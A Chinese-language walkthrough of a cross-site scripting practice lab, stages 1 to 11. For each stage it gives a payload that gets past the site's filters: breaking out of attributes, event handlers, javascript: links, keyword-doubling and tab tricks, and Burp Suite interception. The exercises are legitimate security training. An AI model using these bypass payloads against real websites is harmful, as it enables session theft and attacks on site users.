XSS Challenges1
XSS Challenges绕过防护策略进行XSS注入
Stage #1无过滤的XSS注入
直接输入1查看下出现的位置
可以看到是处在b标签中间的
所以用
PHP
<script>alert(document.domain);</script>
试试
出现弹窗
出现第二关的地址
进入到第二关
Stage #2属性中的XSS注入
测试下过滤情况
可以看到提交的内容被放进value中,当做文本信息存在 value中。
闭合标签
Ruby
"><script>alert(document.domain);</script>
出现弹窗
检查下源码
得到第三关地址
进入到三关
Stage #3 选择列表中的XSS注
测试下语句
发现这里多出了一个p2值,试试能不能在p2注入
Ruby
<script>alert(document.domain);</script>
出现弹窗
得到第四关地址
进入第四关
Stage #4 在隐藏域中注入XSS
测试下语句
检查下源码发现,这次多出了一个p3
测试下新的语句
"><script>alert(document.domain);</script>
发现这样并没有用,采用burp抓包修改的方式
配置burpsuite 加载证书用于截断https协议
首先打开burpsuite 开启监听
配置火狐使用burpsuite 代理上网
浏览器访问http://burp/ 创建证书
浏览器中导入证书
回到第四关,进行抓包
Scala
"><script>alert(document.domain)</script>
发包后,回到页面发现出现弹窗
得到第五关的地址
进入到第五关
Stage #5限制输入长度的解决方式
检查下源码
发现这里长度做了限制,且把值放进了value中
修改长度后,提交,出现弹窗
查看下源码
得到第六关地址
进入到第六关
Stage #6限制输入<>的XSS注入
检查下源码
测试下语句
Ruby
"><script>alert(document.domain);</script>
发现语句被转义了,使用新的语句
Ruby
123" onmouseover="alert(document.domain)"
出现弹窗,得到第七关地址
Stage #7限制输入引号的XSS注入
测试下语句
Ruby
123" onmouseover="alert(document.domain)"
可以看到这里被添加了引号
测试语句
SQL
123" onmouseover=alert(document.domain)
查看下源码
得到第八关地址
进入到第八关
Stage #8 JavaScript伪协议
测试语句
Python
"><script>alert(document.domain);</script>
可以看到语句被交给了url,重新构造下语句
SQL
javascript:alert(document.domain)
可以看到这样一个点击事件就被插入进去了,点击下链接
出现弹窗,得到第九关地址
进入到第九关
Stage #9 UTF-7编码注入(跳过)
因为现在utf-7的编码,基本不用,所以跳过关开
Rust
onclick="alert(document.domain)"
鼠标移动过去,出现弹窗
得到第十关地址
进入第十关
Stage #10绕过关键字domain
根据提示,这里过滤了domain,测试语句
Ruby
"><script>alert(document.domain);</script>
重新构造语句
Ruby
"><script>alert(document.domdomainain);</script>
出现弹窗
得到第十一关地址
进入到第十一关
Stage #11 绕过过滤script和on关键字的XSS注入
根据提示可以看到过滤掉很多参数
Python
Hint: "s/script/xscript/ig;" and "s/on[a-z]+=/onxxx=/ig;" and "s/style=/stxxx=/ig;"
#提示的意思是:
将script 替换成xscript ;
将on[a-z]+= 替换成onxxx= ;
将style= 替换成stxxx= ;
测试下语句
Scala
"><script>alert(document.dodomainmain);</script>
可以看到被替换了,接下来使用伪协议绕过
Ruby
123"><a href="javas	cript:alert(document.domain);">xss</a>
看以看到语句被插入进入了,点击xss,出现弹窗
得到第十二关地址
进入到第十二关